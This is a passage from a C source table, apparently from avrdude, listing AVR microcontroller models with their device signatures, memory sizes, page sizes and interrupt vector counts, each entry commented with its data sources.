0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 94}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16A4U", 232, F_XMEGA, {0x1E, 0x94, 0x41}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16C4", 233, F_XMEGA, {0x1E, 0x94, 0x43}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16D4", 234, F_XMEGA, {0x1E, 0x94, 0x42}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16E5", 235, F_XMEGA, {0x1E, 0x94, 0x45}, 0, 0x05000, 0x080, 1, 0x1000, 0, 0x0200, 32, 0x2000, 0x0800, 7, 1, 43}, // atdf, avr-gcc 7.3.0, avrdude - {"ATxmega32C3", 236, F_XMEGA, {0x1E, 0x95, 0x49}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0 - {"ATxmega32D3", 237, F_XMEGA, {0x1E, 0x95, 0x4A}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 114}, // atdf, avr-gcc 12.2.0 - {"ATxmega32A4", 238, F_XMEGA, {0x1E, 0x95, 0x41}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 94}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32A4U", 239, F_XMEGA, {0x1E, 0x95, 0x41}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32C4", 240, F_XMEGA, {0x1E, 0x95, 0x44}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32D4", 241, F_XMEGA, {0x1E, 0x95, 0x42}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32E5", 242, F_XMEGA, {0x1E, 0x95, 0x4C}, 0, 0x09000, 0x080, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 7, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A1", 243, F_XMEGA, {0x1E, 0x96, 0x4E}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 125}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A1U", 244, F_XMEGA, {0x1E, 0x96, 0x4E}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64B1", 245, F_XMEGA, {0x1E, 0x96, 0x52}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 81}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A3", 246, F_XMEGA, {0x1E, 0x96, 0x42}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A3U", 247, F_XMEGA, {0x1E, 0x96, 0x42}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64B3", 248, F_XMEGA, {0x1E, 0x96, 0x51}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 54}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64C3", 249, F_XMEGA, {0x1E, 0x96, 0x49}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64D3", 250, F_XMEGA, {0x1E, 0x96, 0x4A}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A4", 251, F_XMEGA, {0x1E, 0x96, 0x46}, 0, 0x11000, 0x100, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega64A4U", 252, F_XMEGA, {0x1E, 0x96, 0x46}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64D4", 253, F_XMEGA, {0x1E, 0x96, 0x47}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A1", 254, F_XMEGA, {0x1E, 0x97, 0x4C}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 125}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A1revD", 255, F_XMEGA, {0x1E, 0x97, 0x41}, 0, 0x22000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega128A1U", 256, F_XMEGA, {0x1E, 0x97, 0x4C}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128B1", 257, F_XMEGA, {0x1E, 0x97, 0x4D}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 81}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A3", 258, F_XMEGA, {0x1E, 0x97, 0x42}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A3U", 259, F_XMEGA, {0x1E, 0x97, 0x42}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128B3", 260, F_XMEGA, {0x1E, 0x97, 0x4B}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 54}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128C3", 261, F_XMEGA, {0x1E, 0x97, 0x52}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128D3", 262, F_XMEGA, {0x1E, 0x97, 0x48}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A4", 263, F_XMEGA, {0x1E, 0x97, 0x46}, 0, 0x22000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega128A4U", 264, F_XMEGA, {0x1E, 0x97, 0x46}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128D4", 265, F_XMEGA, {0x1E, 0x97, 0x47}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192A1", 266, F_XMEGA, {0x1E, 0x97, 0x4E}, 0, 0x32000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega192A3", 267, F_XMEGA, {0x1E, 0x97, 0x44}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192A3U", 268, F_XMEGA, {0x1E, 0x97, 0x44}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192C3", 269, F_XMEGA, {0x1E, 0x97, 0x51}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192D3", 270, F_XMEGA, {0x1E, 0x97, 0x49}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A1", 271, F_XMEGA, {0x1E, 0x98, 0x46}, 0, 0x42000, 0x200, -1, -1, 0, 0x1000, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega256A3", 272, F_XMEGA, {0x1E, 0x98, 0x42}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3B", 273, F_XMEGA, {0x1E, 0x98, 0x43}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3BU", 274, F_XMEGA, {0x1E, 0x98, 0x43}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3U", 275, F_XMEGA, {0x1E, 0x98, 0x42}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256C3", 276, F_XMEGA, {0x1E, 0x98, 0x46}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256D3", 277, F_XMEGA, {0x1E, 0x98, 0x44}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega384C3", 278, F_XMEGA, {0x1E, 0x98, 0x45}, 0, 0x62000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x8000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega384D3", 279, F_XMEGA, {0x1E, 0x98, 0x47}, 0, 0x62000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x8000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - - {"ATtiny202", 280, F_AVR8X, {0x1E, 0x91, 0x23}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny204", 281, F_AVR8X, {0x1E, 0x91, 0x22}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny212", 282, F_AVR8X, {0x1E, 0x91, 0x21}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny214", 283, F_AVR8X, {0x1E, 0x91, 0x20}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny402", 284, F_AVR8X, {0x1E, 0x92, 0x27}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny404", 285, F_AVR8X, {0x1E, 0x92, 0x26}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny406", 286, F_AVR8X, {0x1E, 0x92, 0x25}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny412", 287, F_AVR8X, {0x1E, 0x92, 0x23}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny414", 288, F_AVR8X, {0x1E, 0x92, 0x22}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny416", 289, F_AVR8X, {0x1E, 0x92, 0x21}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny416auto", 290, F_AVR8X, {0x1E, 0x92, 0x28}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf - {"ATtiny417", 291, F_AVR8X, {0x1E, 0x92, 0x20}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny424", 292, F_AVR8X, {0x1E, 0x92, 0x2C}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny426", 293, F_AVR8X, {0x1E, 0x92, 0x2B}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny427", 294, F_AVR8X, {0x1E, 0x92, 0x2A}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny804", 295, F_AVR8X, {0x1E, 0x93, 0x25}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny806", 296, F_AVR8X, {0x1E, 0x93, 0x24}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny807", 297, F_AVR8X, {0x1E, 0x93, 0x23}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny814", 298, F_AVR8X, {0x1E, 0x93, 0x22}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny816", 299, F_AVR8X, {0x1E, 0x93, 0x21}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny817", 300, F_AVR8X, {0x1E, 0x93, 0x20}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny824", 301, F_AVR8X, {0x1E, 0x93, 0x29}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny826", 302, F_AVR8X, {0x1E, 0x93, 0x28}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny827", 303, F_AVR8X, {0x1E, 0x93, 0x27}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3c00, 0x0400, 10, 1, 30}, // atdf, avrdude - {"ATtiny1604", 304, F_AVR8X, {0x1E, 0x94, 0x25}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1606", 305, F_AVR8X, {0x1E, 0x94, 0x24}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1607", 306, F_AVR8X, {0x1E, 0x94, 0x23}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1614", 307, F_AVR8X, {0x1E, 0x94, 0x22}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1616", 308, F_AVR8X, {0x1E, 0x94, 0x21}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1617", 309, F_AVR8X, {0x1E, 0x94, 0x20}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1624", 310, F_AVR8X, {0x1E, 0x94, 0x2A}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny1626", 311, F_AVR8X, {0x1E, 0x94, 0x29}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny1627", 312, F_AVR8X, {0x1E, 0x94, 0x28}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 30}, // atdf, avrdude - {"ATtiny3214", 313, F_AVR8X, {0x1E, 0x95, 0x20}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // avr-gcc 12.2.0 - {"ATtiny3216", 314, F_AVR8X, {0x1E, 0x95, 0x21}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny3217", 315, F_AVR8X, {0x1E, 0x95, 0x22}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3800, 0x0800, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny3224", 316, F_AVR8X, {0x1E, 0x95, 0x28}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATtiny3226", 317, F_AVR8X, {0x1E, 0x95, 0x27}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATtiny3227", 318, F_AVR8X, {0x1E, 0x95, 0x26}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3400, 0x0c00, 10, 1, 30}, // atdf, avrdude - {"ATmega808", 319, F_AVR8X, {0x1E, 0x93, 0x26}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega809", 320, F_AVR8X, {0x1E, 0x93, 0x2A}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3c00, 0x0400, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1608", 321, F_AVR8X, {0x1E, 0x94, 0x27}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1609", 322, F_AVR8X, {0x1E, 0x94, 0x26}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0100, 32, 0x3800, 0x0800, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3208", 323, F_AVR8X, {0x1E, 0x95, 0x30}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3000, 0x1000, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3209", 324, F_AVR8X, {0x1E, 0x95, 0x31}, 0, 0x08000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x3000, 0x1000, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega4808", 325, F_AVR8X, {0x1E, 0x96, 0x50}, 0, 0x0c000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x2800, 0x1800, 10, 1, 36}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega4809", 326, F_AVR8X, {0x1E, 0x96, 0x51}, 0, 0x0c000, 0x080, 1, 0, 0x01400, 0x0100, 64, 0x2800, 0x1800, 10, 1, 40}, // atdf, avr-gcc 12.2.0, avrdude - {"AVR8EA28", 327, F_AVR8X, {0x1E, 0x93, 0x2C}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR8EA32", 328, F_AVR8X, {0x1E, 0x93, 0x2B}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16DD14", 329, F_AVR8X, {0x1E, 0x94, 0x34}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16DD20", 330, F_AVR8X, {0x1E, 0x94, 0x33}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16DD28", 331, F_AVR8X, {0x1E, 0x94, 0x32}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16EA28", 332, F_AVR8X, {0x1E, 0x94, 0x37}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16DD32", 333, F_AVR8X, {0x1E, 0x94, 0x31}, 0, 0x04000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7800, 0x0800, 16, 4, 36}, // atdf, avrdude - {"AVR16EA32", 334, F_AVR8X, {0x1E, 0x94, 0x36}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR16EA48", 335, F_AVR8X, {0x1E, 0x94, 0x35}, 0, 0x04000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DD14", 336, F_AVR8X, {0x1E, 0x95, 0x3B}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32DD20", 337, F_AVR8X, {0x1E, 0x95, 0x3A}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32DA28", 338, F_AVR8X, {0x1E, 0x95, 0x34}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 41}, // atdf, avrdude - {"AVR32DB28", 339, F_AVR8X, {0x1E, 0x95, 0x37}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 42}, // atdf, avrdude - {"AVR32DD28", 340, F_AVR8X, {0x1E, 0x95, 0x39}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32EA28", 341, F_AVR8X, {0x1E, 0x95, 0x3E}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DA32", 342, F_AVR8X, {0x1E, 0x95, 0x33}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 44}, // atdf, avrdude - {"AVR32DB32", 343, F_AVR8X, {0x1E, 0x95, 0x36}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 44}, // atdf, avrdude - {"AVR32DD32", 344, F_AVR8X, {0x1E, 0x95, 0x38}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x7000, 0x1000, 16, 4, 36}, // atdf, avrdude - {"AVR32EA32", 345, F_AVR8X, {0x1E, 0x95, 0x3D}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR32DA48", 346, F_AVR8X, {0x1E, 0x95, 0x32}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 58}, // atdf, avrdude - {"AVR32DB48", 347, F_AVR8X, {0x1E, 0x95, 0x35}, 0, 0x08000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x7000, 0x1000, 16, 4, 61}, // atdf, avrdude - {"AVR32EA48", 348, F_AVR8X, {0x1E, 0x95, 0x3C}, 0, 0x08000, 0x040, 1, 0, 0x01400, 0x0200, 8, -1, -1, -1, -1, 0}, // avrdude - {"AVR64DD14", 349, F_AVR8X, {0x1E, 0x96, 0x1D}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64DD20", 350, F_AVR8X, {0x1E, 0x96, 0x1C}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64DA28", 351, F_AVR8X, {0x1E, 0x96, 0x15}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 41}, // atdf, avrdude - {"AVR64DB28", 352, F_AVR8X, {0x1E, 0x96, 0x19}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 42}, // atdf, avrdude - {"AVR64DD28", 353, F_AVR8X, {0x1E, 0x96, 0x1B}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64EA28", 354, F_AVR8X, {0x1E, 0x96, 0x20}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 37}, // atdf, avrdude - {"AVR64DA32", 355, F_AVR8X, {0x1E, 0x96, 0x14}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 44}, // atdf, avrdude - {"AVR64DB32", 356, F_AVR8X, {0x1E, 0x96, 0x18}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 44}, // atdf, avrdude - {"AVR64DD32", 357, F_AVR8X, {0x1E, 0x96, 0x1A}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0100, 1, 0x6000, 0x2000, 16, 4, 36}, // atdf, avrdude - {"AVR64EA32", 358, F_AVR8X, {0x1E, 0x96, 0x1F}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 37}, // atdf, avrdude - {"AVR64DA48", 359, F_AVR8X, {0x1E, 0x96, 0x13}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 58}, // atdf, avrdude - {"AVR64DB48", 360, F_AVR8X, {0x1E, 0x96, 0x17}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 61}, // atdf, avrdude - {"AVR64EA48", 361, F_AVR8X, {0x1E, 0x96, 0x1E}, 0, 0x10000, 0x080, 1, 0, 0x01400, 0x0200, 8, 0x6800, 0x1800, 16, 4, 45}, // atdf, avrdude - {"AVR64DA64", 362, F_AVR8X, {0x1E, 0x96, 0x12}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 64}, // atdf, avrdude - {"AVR64DB64", 363, F_AVR8X, {0x1E, 0x96, 0x16}, 0, 0x10000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x6000, 0x2000, 16, 4, 65}, // atdf, avrdude - {"AVR128DA28", 364, F_AVR8X, {0x1E, 0x97, 0x0A}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 41}, // atdf, avrdude - {"AVR128DB28", 365, F_AVR8X, {0x1E, 0x97, 0x0E}, 0, 0x20000, 